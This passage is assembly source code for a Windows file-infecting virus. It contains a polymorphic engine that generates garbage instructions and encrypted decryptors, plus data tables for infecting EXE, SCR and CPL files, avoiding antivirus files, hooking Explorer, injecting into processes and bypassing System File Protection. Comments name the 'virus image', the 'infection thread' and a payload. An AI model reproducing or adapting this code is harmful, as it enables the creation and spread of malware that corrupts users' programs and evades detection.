[ebp+XrndMath],edi add edi,00000006h pop ebx xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY call gen_garbage ;============================================================ ;Generate CALLs to each routine inside garbage code ;============================================================ NoEndFog: lea esi,dword ptr [ebp+style_table+00000004h] mov ecx,00000005h do_call: push ecx ;Gen CALL to each step cmp ecx,00000003h jne is_not_loop call GenGarbageEx mov dword ptr [ebp+loop_point],edi is_not_loop: call GenGarbageEx call get_rnd32 and al,01h jz MutateCall StandardCall: mov al,0E8h ;CALL opcode stosb lodsd sub eax,edi sub eax,00000004h stosd jmp DoneMutateCall CallStepADD: mov ax,0C081h or ah,byte ptr [ebx+REG_MASK] stosw lodsd call FromPoly2Rva sub eax,edx stosd ret CallStepSUB: mov ax,0E881h or ah,byte ptr [ebx+REG_MASK] stosw lodsd call FromPoly2Rva neg eax add eax,edx stosd ret CallStepXOR: mov ax,0F081h or ah,byte ptr [ebx+REG_MASK] stosw lodsd call FromPoly2Rva xor eax,edx stosd ret MutateCall: push esi call get_valid_reg or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY mov al,0B8h or al,byte ptr [ebx+REG_MASK] stosb call get_rnd32 stosd push eax push ebx call GenGarbageEx pop ebx mov eax,NumCallStep call get_rnd_range lea esi,dword ptr [ebp+tbl_call_step+eax*04h] lodsd add eax,ebp pop edx pop esi push ebx call eax call GenGarbageEx pop ebx mov ax,0D0FFh or ah,byte ptr [ebx+REG_MASK] stosw xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY DoneMutateCall: call GenGarbageEx lodsd pop ecx loop do_call call GenGarbageEx ;End condition call gen_loop call gen_rnd_block pop ebx push edi sub edi,dword ptr [ebp+PtrToDecrypt] push edi mov edi,dword ptr [ebp+PtrToCrypt] add edi,ebx call fixed_size2ecx ;Encrypt requested area loop_hide_code: push ecx mov eax,dword ptr [edi] call perform_crypt xor ecx,ecx mov cl,byte ptr [ebp+oper_size] loop_copy_res: stosb shr eax,08h loop loop_copy_res pop ecx loop loop_hide_code mov edx,dword ptr [ebp+entry_point] sub edx,ebx ;Get entry-point offset pop ecx pop edi ret ;============================================================================ ;Poly engine initialized data ;============================================================================ ;============================================================ ;Register table ; ; 00h -> BYTE -> Register mask ; 01h -> BYTE -> Register flags ;============================================================ tbl_regs equ $ db 00000000b,REG_READ_ONLY ;eax tbl_reg_ebx db 00000011b,00h ;ebx db 00000001b,00h ;ecx db 00000010b,00h ;edx tbl_reg_esi db 00000110b,REG_NO_8BIT ;esi tbl_reg_edi db 00000111b,REG_NO_8BIT ;edi tbl_reg_ebp db 00000101b,REG_NO_8BIT ;ebp end_regs equ $ ;============================================================ ;Aliases for reg table structure ;============================================================ REG_MASK equ 00h REG_FLAGS equ 01h ;============================================================ ;Bit aliases for reg flags ;============================================================ REG_IS_INDEX equ 01h ;Register used as main index register REG_IS_COUNTER equ 02h ;This register is used as loop counter REG_READ_ONLY equ 04h ;Never modify the value of this register REG_NO_8BIT equ 08h ;ESI EDI and EBP havent 8bit version ;============================================================ ;Initial reg flags ;============================================================ tbl_startup equ $ db REG_READ_ONLY ;eax db 00h ;ebx db 00h ;ecx db 00h ;edx db REG_NO_8BIT ;esi db REG_NO_8BIT ;edi db REG_NO_8BIT ;ebp ;============================================================ ;Code that does not disturb reg values ;============================================================ tbl_save_code equ $ clc stc cmc cld std end_save_code equ $ ;============================================================ ;Generators for [reg] indexing mode ;============================================================ tbl_idx_reg equ $ dd offset xx_inc_reg dd offset xx_dec_reg dd offset xx_not_reg dd offset xx_add_reg dd offset xx_sub_reg dd offset xx_xor_reg ;============================================================ ;Generators for [reg+imm] indexing mode ;============================================================ tbl_dis_reg equ $ dd offset yy_inc_reg dd offset yy_dec_reg dd offset yy_not_reg dd offset yy_add_reg dd offset yy_sub_reg dd offset yy_xor_reg ;============================================================ ;Generators for [reg+reg] indexing mode ;============================================================ tbl_xtended equ $ dd offset zz_inc_reg dd offset zz_dec_reg dd offset zz_not_reg dd offset zz_add_reg dd offset zz_sub_reg dd offset zz_xor_reg ;============================================================ ;Generators for [reg+reg+imm] indexing mode ;============================================================ tbl_paranoia equ $ dd offset ii_inc_reg dd offset ii_dec_reg dd offset ii_not_reg dd offset ii_add_reg dd offset ii_sub_reg dd offset ii_xor_reg ;============================================================ ;Opcodes for math reg,imm ;============================================================ tbl_math_imm equ $ db 0C0h ;add db 0C8h ;or db 0E0h ;and db 0E8h ;sub db 0F0h ;xor db 0D0h ;adc db 0D8h ;sbb end_math_imm equ $ ;============================================================ ;Magic aliases ;============================================================ MAGIC_PUTKEY equ 01h MAGIC_PUTDISP equ 02h MAGIC_ENDSTR equ 0FFh MAGIC_ENDKEY equ 0FEh MAGIC_CAREEBP equ 00h MAGIC_NOTEBP equ 0FFh ;============================================================ ;Magic data ;============================================================ xx_inc_reg db 0FEh db MAGIC_CAREEBP db 00h db 00h dd offset x_inc_reg_byte dd offset x_inc_reg_word dd offset x_inc_reg_dword xx_dec_reg db 0FEh db MAGIC_CAREEBP db 08h db 00h dd offset x_dec_reg_byte dd offset x_dec_reg_word dd offset x_dec_reg_dword xx_not_reg db 0F6h db MAGIC_CAREEBP db 10h db 00h dd offset x_not_reg_byte dd offset x_not_reg_word dd offset x_not_reg_dword xx_add_reg db 80h db MAGIC_CAREEBP db 00h db MAGIC_PUTKEY dd offset x_add_reg_byte dd offset x_add_reg_word dd offset x_add_reg_dword xx_sub_reg db 80h db MAGIC_CAREEBP db 28h db MAGIC_PUTKEY dd offset x_sub_reg_byte dd offset x_sub_reg_word dd offset x_sub_reg_dword xx_xor_reg db 80h db MAGIC_CAREEBP db 30h db MAGIC_PUTKEY dd offset x_xor_reg_byte dd offset x_xor_reg_word dd offset x_xor_reg_dword yy_inc_reg db 0FEh db MAGIC_NOTEBP db 80h db MAGIC_PUTDISP dd offset x_inc_reg_byte dd offset x_inc_reg_word dd offset x_inc_reg_dword yy_dec_reg db 0FEh db MAGIC_NOTEBP db 88h db MAGIC_PUTDISP dd offset x_dec_reg_byte dd offset x_dec_reg_word dd offset x_dec_reg_dword yy_not_reg db 0F6h db MAGIC_NOTEBP db 90h db MAGIC_PUTDISP dd offset x_not_reg_byte dd offset x_not_reg_word dd offset x_not_reg_dword yy_add_reg db 80h db MAGIC_NOTEBP db 80h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_add_reg_byte dd offset x_add_reg_word dd offset x_add_reg_dword yy_sub_reg db 80h db MAGIC_NOTEBP db 0A8h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_sub_reg_byte dd offset x_sub_reg_word dd offset x_sub_reg_dword yy_xor_reg db 80h db MAGIC_NOTEBP db 0B0h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_xor_reg_byte dd offset x_xor_reg_word dd offset x_xor_reg_dword zz_inc_reg db 0FEh db MAGIC_CAREEBP db 04h db 00h dd offset x_inc_reg_byte dd offset x_inc_reg_word dd offset x_inc_reg_dword zz_dec_reg db 0FEh db MAGIC_CAREEBP db 0Ch db 00h dd offset x_dec_reg_byte dd offset x_dec_reg_word dd offset x_dec_reg_dword zz_not_reg db 0F6h db MAGIC_CAREEBP db 14h db 00h dd offset x_not_reg_byte dd offset x_not_reg_word dd offset x_not_reg_dword zz_add_reg db 80h db MAGIC_CAREEBP db 04h db MAGIC_PUTKEY dd offset x_add_reg_byte dd offset x_add_reg_word dd offset x_add_reg_dword zz_sub_reg db 80h db MAGIC_CAREEBP db 2Ch db MAGIC_PUTKEY dd offset x_sub_reg_byte dd offset x_sub_reg_word dd offset x_sub_reg_dword zz_xor_reg db 80h db MAGIC_CAREEBP db 34h db MAGIC_PUTKEY dd offset x_xor_reg_byte dd offset x_xor_reg_word dd offset x_xor_reg_dword ii_inc_reg db 0FEh db MAGIC_NOTEBP db 84h db MAGIC_PUTDISP dd offset x_inc_reg_byte dd offset x_inc_reg_word dd offset x_inc_reg_dword ii_dec_reg db 0FEh db MAGIC_NOTEBP db 8Ch db MAGIC_PUTDISP dd offset x_dec_reg_byte dd offset x_dec_reg_word dd offset x_dec_reg_dword ii_not_reg db 0F6h db MAGIC_NOTEBP db 94h db MAGIC_PUTDISP dd offset x_not_reg_byte dd offset x_not_reg_word dd offset x_not_reg_dword ii_add_reg db 80h db MAGIC_NOTEBP db 84h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_add_reg_byte dd offset x_add_reg_word dd offset x_add_reg_dword ii_sub_reg db 80h db MAGIC_NOTEBP db 0ACh db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_sub_reg_byte dd offset x_sub_reg_word dd offset x_sub_reg_dword ii_xor_reg db 80h db MAGIC_NOTEBP db 0B4h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_xor_reg_byte dd offset x_xor_reg_word dd offset x_xor_reg_dword ;============================================================ ;Reverse-code strings ;============================================================ x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY ;============================================================ ;Format for each style-table entry: ; ; 00h -> DWORD -> Address of generator ; 04h -> DWORD -> Address of generated subroutine or ; 00000000h if not yet generated ; ;============================================================ style_table equ $ dd offset gen_load_ptr dd 00000000h dd offset gen_load_ctr dd 00000000h dd offset gen_decrypt dd 00000000h dd offset gen_next_step dd 00000000h dd offset gen_next_ctr dd 00000000h ;============================================================ ;Generators for incrementing the index register ;============================================================ tbl_idx_up equ $ dd offset IdxUpWithADD dd offset IdxUpWithSUB dd offset IdxUpWithINC dd offset IdxUpADDADD dd offset IdxUpADDSUB dd offset IdxUpSUBSUB dd offset IdxUpSUBADD NumIdxUp equ ($-tbl_idx_up)/04h ;============================================================ ;Misc generators ;============================================================ tbl_jmp_end equ $ dd offset jmpendregadd dd offset jmpendregsub dd offset jmpendregxor NumJmpEnd equ ($-tbl_jmp_end)/04h tbl_call_step equ $ dd offset CallStepADD dd offset CallStepSUB dd offset CallStepXOR NumCallStep equ ($-tbl_call_step)/04h TblDoFog equ $ dd offset DoFogAdd dd offset DoFogSub dd offset DoFogXor NumFog equ ($-TblDoFog)/04h TblFixFog equ $ dd offset FixFogAdd dd offset FixFogSub dd offset FixFogXor NumFixFog equ ($-TblFixFog)/04h ;============================================================ ;Generators for decrementing the index register ;============================================================ tbl_idx_down equ $ dd offset IdxDownWithADD dd offset IdxDownWithSUB dd offset IdxDownWithDEC dd offset IdxDownADDADD dd offset IdxDownADDSUB dd offset IdxDownSUBSUB dd offset IdxDownSUBADD NumIdxDown equ ($-tbl_idx_down)/04h ;============================================================ ;Garbage code generators ;============================================================ tbl_i_g equ $ dd offset gen_save_code ;clc stc cmc cld std dd offset gen_mov_mem32 ;mov mem,reg32 dd offset gen_mov_mem16 ;mov mem,reg16 dd offset gen_mov_mem8 ;mov mem,reg8 dd offset gen_add_mem32 ;add mem,reg32 dd offset gen_add_mem16 ;add mem,reg16 dd offset gen_add_mem8 ;add mem,reg8 dd offset gen_sub_mem32 ;sub mem,reg32 dd offset gen_sub_mem16 ;sub mem,reg16 dd offset gen_sub_mem8 ;sub mem,reg8 dd offset gen_adc_mem32 ;adc mem,reg32 dd offset gen_adc_mem16 ;adc mem,reg16 dd offset gen_adc_mem8 ;adc mem,reg8 dd offset gen_sbb_mem32 ;sbb mem,reg32 dd offset gen_sbb_mem16 ;sbb mem,reg16 dd offset gen_sbb_mem8 ;sbb mem,reg8 dd offset gen_or_mem32 ;or mem,reg32 dd offset gen_or_mem16 ;or mem,reg16 dd offset gen_or_mem8 ;or mem,reg8 dd offset gen_and_mem32 ;and mem,reg32 dd offset gen_and_mem16 ;and mem,reg16 dd offset gen_and_mem8 ;and mem,reg8 dd offset gen_xor_mem32 ;xor mem,reg32 dd offset gen_xor_mem16 ;xor mem,reg16 dd offset gen_xor_mem8 ;xor mem,reg8 end_i_g equ $ tbl_garbage equ $ dd offset gen_save_code ;clc stc cmc cld std dd offset g_movreg32imm ;mov reg32,imm dd offset g_movreg16imm ;mov reg16,imm dd offset g_movreg8imm ;mov reg8,imm dd offset g_xchgregreg32 ;xchg reg32,reg32 dd offset g_xchgregreg16 ;xchg reg16,reg16 dd offset g_xchgregreg8 ;xchg reg8,reg8 dd offset g_movregreg32 ;mov reg32,reg32 dd offset g_movregreg16 ;mov reg16,reg16 dd offset g_movregreg8 ;mov reg8,reg8 dd offset g_inc_reg32 ;inc reg32 dd offset g_inc_reg16 ;inc reg16 dd offset g_inc_reg8 ;inc reg8 dd offset g_dec_reg32 ;dec reg32 dd offset g_dec_reg16 ;dec reg16 dd offset g_dec_reg8 ;dec reg8 dd offset g_mathregimm32 ;math reg32,imm dd offset g_mathregimm16 ;math reg16,imm dd offset g_mathregimm8 ;math reg8,imm dd offset g_movzx_movsx ;movzx/movsx reg32,reg16 save_space equ $ dd offset gen_mov_mem32 ;mov mem,reg32 dd offset gen_mov_mem16 ;mov mem,reg16 dd offset gen_mov_mem8 ;mov mem,reg8 dd offset gen_add_mem32 ;add mem,reg32 dd offset gen_add_mem16 ;add mem,reg16 dd offset gen_add_mem8 ;add mem,reg8 dd offset gen_sub_mem32 ;sub mem,reg32 dd offset gen_sub_mem16 ;sub mem,reg16 dd offset gen_sub_mem8 ;sub mem,reg8 dd offset gen_adc_mem32 ;adc mem,reg32 dd offset gen_adc_mem16 ;adc mem,reg16 dd offset gen_adc_mem8 ;adc mem,reg8 dd offset gen_sbb_mem32 ;sbb mem,reg32 dd offset gen_sbb_mem16 ;sbb mem,reg16 dd offset gen_sbb_mem8 ;sbb mem,reg8 dd offset gen_or_mem32 ;or mem,reg32 dd offset gen_or_mem16 ;or mem,reg16 dd offset gen_or_mem8 ;or mem,reg8 dd offset gen_and_mem32 ;and mem,reg32 dd offset gen_and_mem16 ;and mem,reg16 dd offset gen_and_mem8 ;and mem,reg8 dd offset gen_xor_mem32 ;xor mem,reg32 dd offset gen_xor_mem16 ;xor mem,reg16 dd offset gen_xor_mem8 ;xor mem,reg8 dd offset g_push_g_pop ;push reg/garbage/pop reg dd offset g_call_cont ;call/garbage/pop dd offset g_jump_u ;jump/rnd block dd offset g_jump_c ;jump conditional/garbage dd offset gen_fake_crypt ;fake decryptor instruction end_garbage equ $ ;============================================================ ;PolyPush ;============================================================ TblDoPush equ $ pushEBX db 053h pushESI db 056h pushEDI db 057h pushEBP db 055h ;============================================================ ;PolyPop ;============================================================ TblDoPop equ $ popEBX db 05Dh popESI db 05Fh popEDI db 05Eh popEBP db 05Bh ;============================================================================ ;CRC32 of API names ;============================================================================ CrcKernel32 dd 00000000h ;CRC32 of KERNEL dll name CrcGetProcAddr dd 00000000h ;This API takes special care CRC32K32Apis dd NumK32Apis dup (00000000h) CRC32TOOLHELPApis dd NumTOOLHELPApis dup (00000000h) CRC32PSAPIApis dd NumPSAPIApis dup (00000000h) CRC32IMGHLPApis dd NumIMGHLPApis dup (00000000h) CRC32SFCApis dd NumSFCApis dup (00000000h) CRC32USER32Apisw9x dd NumUSER32Apis dup (00000000h) CRC32USER32Apiswnt dd NumUSER32Apis dup (00000000h) CRC32_IsDebugPr dd 00000000h CRC32_RegServProc dd 00000000h ;============================================================================ ;CRC32 of infectable file extensions ;============================================================================ TblCRC32szEXT equ $ CRC32_szEXE dd 00000000h CRC32_szSCR dd 00000000h CRC32_szCPL dd 00000000h NumberOfExt equ ($-TblCRC32szEXT)/04h ;============================================================================ ;CRC32 of EXPLORER.EXE and USER32.DLL ;============================================================================ CRCszEXPLORER dd 00000000h CRCszUSER32 dd 00000000h CRCszPSAPI dd 00000000h CRCszIMGHLP dd 00000000h CRCszSFC dd 00000000h ;============================================================================ ;Avoid some files from being infected ;============================================================================ avoid_tbl dd avoid_num dup (00000000h) ;============================================================================ ;CRC32 of AV files ;============================================================================ TblCRC32AV dd NumberOfAV dup (00000000h) ;============================================================================ ;End of CRC32 protected area ;============================================================================ SizeOfProtect equ $-CRC_protected ;============================================================================ ;End of virus image in files ;============================================================================ inf_size equ $-viro_sys ;============================================================================ ;Seed for random number generator ;============================================================================ rnd32_seed dd 00000000h ;============================================================================ ;CRC32 lookup table ;============================================================================ tbl_crc32 dd 0100h dup (00000000h) ;============================================================================ ;KERNEL32 API's ;============================================================================ ;GetProcAddress API takes special care a_GetProcAddress dd 00000000h epK32Apis equ $ a_CreateFileA dd 00000000h a_CreateFileMappingA dd 00000000h a_CreateProcessA dd 00000000h a_CreateThread dd 00000000h a_CloseHandle dd 00000000h a_DeleteFileA dd 00000000h a_ExitThread dd 00000000h a_FindClose dd 00000000h a_FindFirstFileA dd 00000000h a_FindNextFileA dd 00000000h a_FreeLibrary dd 00000000h a_GetComputerNameA dd 00000000h a_GetCurrentProcess dd 00000000h a_GetDriveTypeA dd 00000000h a_GetFileAttributesA dd 00000000h a_GetLastError dd 00000000h a_GetLocalTime dd 00000000h a_GetLogicalDriveStringsA dd 00000000h a_GetSystemDirectoryA dd 00000000h a_GetVersionEx dd 00000000h a_LoadLibraryA dd 00000000h a_MapViewOfFile dd 00000000h a_OpenFileMappingA dd 00000000h a_OpenProcess dd 00000000h a_ReadProcessMemory dd 00000000h a_SetEndOfFile dd 00000000h a_SetFileAttributesA dd 00000000h a_SetFilePointer dd 00000000h a_SetFileTime dd 00000000h a_Sleep dd 00000000h a_UnmapViewOfFile dd 00000000h a_WriteProcessMemory dd 00000000h NumK32Apis equ ($-epK32Apis)/04h ;Only used when present a_IsDebuggerPresent dd 00000000h hKERNEL32 dd 00000000h ;============================================================================ ;Used to check current computer name ;============================================================================ SizeOfComputerName dd 00000000h szComputerName db 20h dup (00h) ;============================================================================ ;Buffer used on misc routines ;============================================================================ EP_Bytes dd 00000000h BufStrFilename db MAX_PATH+01h dup (00000000h) ;============================================================================ ;End of virus virtual image ;============================================================================ size_virtual equ $-viro_sys ;============================================================================ ;Structure used by GetVersionEx ;============================================================================ system_version equ $ dwOSVersionInfoSize dd 00000000h dwMajorVersion dd 00000000h dwMinorVersion dd 00000000h dwBuildNumber dd 00000000h dwPlatformId dd 00000000h szCSDVersion db 80h dup (00h) VER_PLATFORM_WIN32s equ 00h VER_PLATFORM_WIN32_WINDOWS equ 01h VER_PLATFORM_WIN32_NT equ 02h ;============================================================================ ;Variables used by the Windows 9x residency routines ;============================================================================ hSnapshot dd 00000000h ProcessEntry equ $ ProcEdwSize dd 00000000h ProcEcntUsage dd 00000000h ProcEth32ProcessID dd 00000000h ProcEth32DefaultHeapID dd 00000000h ProcEth32ModuleID dd 00000000h ProcEcntThreads dd 00000000h ProcEth32ParentProcessID dd 00000000h ProcEpcPriClassBase dd 00000000h ProcEdwFlags dd 00000000h ProcEszExeFile db MAX_PATH dup (00h) SIZEOFPROCESSENTRY equ ($-ProcessEntry) ModuleEntry equ $ ModEdwSize dd 00000000h ModEth32ModuleID dd 00000000h ModEth32ProcessID dd 00000000h ModEGlblcntUsage dd 00000000h ModEProccntUsage dd 00000000h ModEmodBaseAddr dd 00000000h ModEmodBaseSize dd 00000000h ModEhModule dd 00000000h ModEszModule db MAX_MODULE_NAME32+1 dup (00h) ModEszExePath db MAX_PATH dup (00h) SIZEOFMODULEENTRY equ ($-ModuleEntry) MAX_MODULE_NAME32 equ 255 ;============================================================================ ;Variables used by the Windows NT and Windows 2000 residency routines ;============================================================================ hProcess dd 00000000h hModule dd 00000000h ProcessIdList dd 20h dup (00000000h) ModuleList dd 20h dup (00000000h) Explorer_MZ_lfanew dd 00000000h Explorer_FH_SizeOfOptionalHeader dw 0000h Explorer_FH_NumberOfSections dw 0000h Explorer_SectionHeader db IMAGE_SIZEOF_SECTION_HEADER dup (00h) Explorer_DE_Import dd 00000000h Explorer_ImportDescriptor db IMAGE_SIZEOF_IMPORT_DESCRIPTOR dup (00h) Explorer_ID_Name db 10h dup (00h) ParseDllNameErrorProtection db 00h Explorer_Hook dd 00000000h Explorer_Patch dd 00000000h Explorer_Init_Hook dd 00000000h ;============================================================================ ;This is virus infection thread ID ;============================================================================ IF_ThreadID dd 00000000h ;============================================================================ ;This is used to locate system DLL files and load them without using names, ;only by means of CRC32 ;============================================================================ a_SDLL_CRC32 dd 00000000h szSYSTEMDIR db MAX_PATH dup (00h) ;============================================================================ ;TOOLHELP API's (Windows 9x only) ;============================================================================ epTOOLHELPApis equ $ a_CreateToolhelp32Snapshot dd 00000000h a_Process32First dd 00000000h a_Process32Next dd 00000000h a_Module32First dd 00000000h a_Module32Next dd 00000000h NumTOOLHELPApis equ ( $-epTOOLHELPApis)/04h ;============================================================================ ;PSAPI API's (Windows NT & Windows 2000 only) ;============================================================================ epPSAPIApis equ $ a_EnumProcessModules dd 00000000h a_EnumProcesses dd 00000000h a_GetModuleBaseNameA dd 00000000h a_GetModuleInformation dd 00000000h NumPSAPIApis equ ($-epPSAPIApis)/04h hPSAPI dd 00000000h ;============================================================================ ;IMAGEHLP APIs used to compute new image checksum ;============================================================================ epIMGHLPApis equ $ a_CheckSumMappedFile dd 00000000h NumIMGHLPApis equ ($-epIMGHLPApis)/04h hIMGHLP dd 00000000h ;============================================================================ ;SFC APIs used by the virus to avoid Windows 2000 System File Protection ;============================================================================ epSFCApis equ $ a_SfcIsFileProtected dd 00000000h NumSFCApis equ ($-epSFCApis)/04h hSFC dd 00000000h ;============================================================================ ;USER32 APIs ( The address is for the Ansi version if the target is running ;windows 9x or the Wide version if running windows Nt ) . ;============================================================================ epUSER32Apis equ $ a_DefWindowProc dd 00000000h NumUSER32Apis equ ($-epUSER32Apis)/04h hUSER32 dd 00000000h ;============================================================================ ;Handles over target files ;============================================================================ h_CreateFile dd 00000000h h_FileMap dd 00000000h ;============================================================================ ;Misc variables ;============================================================================ CurFileAttr dd 00000000h ChecksumPE dd 00000000h OldChecksum dd 00000000h map_is_here dd 00000000h FileImport dd 00000000h ImportSH dd 00000000h inject_offs dd 00000000h vir_offset dd 00000000h search_raw dd 00000000h host_base dd 00000000h virus_sh dd 00000000h fix_size dd 00000000h raw_align dd 00000000h K32CodeStart dd 00000000h K32CodeEnd dd 00000000h ;============================================================================ ;Poly engine uninitialized data ;============================================================================ CRYPT_DIRECTION equ 01h CRYPT_CMPCTR equ 02h CRYPT_CDIR equ 04h CRYPT_SIMPLEX equ 10h CRYPT_COMPLEX equ 20h CRYPT_FOG equ 40h PtrToCrypt dd 00000000h ;Pointer to area to encrypt PtrToDecrypt dd 00000000h ;Where to generate polymorphic decryptor PtrToEP dd 00000000h ;Pointer to code entry-point once decrypted SizeCrypt dd 00000000h ;Size of area to encrypt end_value dd 00000000h ;Index end value loop_point dd 00000000h ;Start address of decryption loop entry_point dd 00000000h ;Entry point to decryptor code decryptor_size dd 00000000h ;Size of generated decryptor disp2disp dd 00000000h ;Displacement over displacement condition_ptr dd 00000000h ;Pointer to JZ/JNZ instruction at loop end Xrnd1 dd 00000000h XrndReg dd 00000000h XrndFixPtr dd 00000000h XrndMath dd 00000000h counter_mask db 00h ;Mask of register used as counter recursive_level db 00h ;Garbage recursive layer IsFirst db 00h ;Save registers only on 1st decryptor fake_field equ $ ptr_disp dd 00000000h ;Displacement from index fake_ptr_disp dd 00000000h ;...and fake one crypt_key dd 00000000h ;Encryption key fake_crypt_key dd 00000000h ;...and fake one build_flags db 00h ;Some decryptor flags fake_build_flags db 00h ;...and fake ones oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword) fake_oper_size db 00h ;...and fake one index_mask db 00h ;Mask of register used as index fake_index_mask db 00h ;...and fake one TblStdPshP equ $ dd 00000000h dd 00000000h dd 00000000h dd 00000000h PshPStepIndex dd 00000004h dup (00000000h) NUM_DA equ 10h NumberOfDataAreas db 00h tbl_data_area db NUM_DA*08h dup (00h) ;============================================================================ ;SYSTEMTIME structure used by GetLocalTime ;============================================================================ local_time equ $ LT_Year dw 0000h LT_Month dw 0000h LT_DayOfWeek dw 0000h LT_Day dw 0000h LT_Hour dw 0000h LT_Minute dw 0000h LT_Second dw 0000h LT_Milliseconds dw 0000h ;============================================================================ ;A rect structure used in the payload ;============================================================================ WindowRect equ $ WR_left dd 00000000h WR_top dd 00000000h WR_right dd 00000000h WR_bottom dd 00000000h ;============================================================================ ;This is a WIN32 FindData structure used to infect files, and some ;auxiliary variables ;============================================================================ FileSizeOnDisk dd 00000000h FatSize dd 00000000h FT_CreationTime db 08h dup (00h) FT_LastAccessTime db 08h dup (00h) FT_LastWriteTime db 08h dup (00h) h_Find dd 00000000h DirectFindData db SIZEOF_WIN32_FIND_DATA dup (00h) ;============================================================================ ;Used to retrieve current, windows and system directories ;============================================================================ BufGetDir db MAX_PATH+01h dup (00000000h) ;============================================================================ ;Used to get logical drives ;============================================================================ SIZEOF_LDSB equ MAX_PATH szLogicalDrives db SIZEOF_LDSB dup (00000000h) ;============================================================================ ;End of virus image in allocated memory ;============================================================================ alloc_size equ $-viro_sys virseg ends end host_code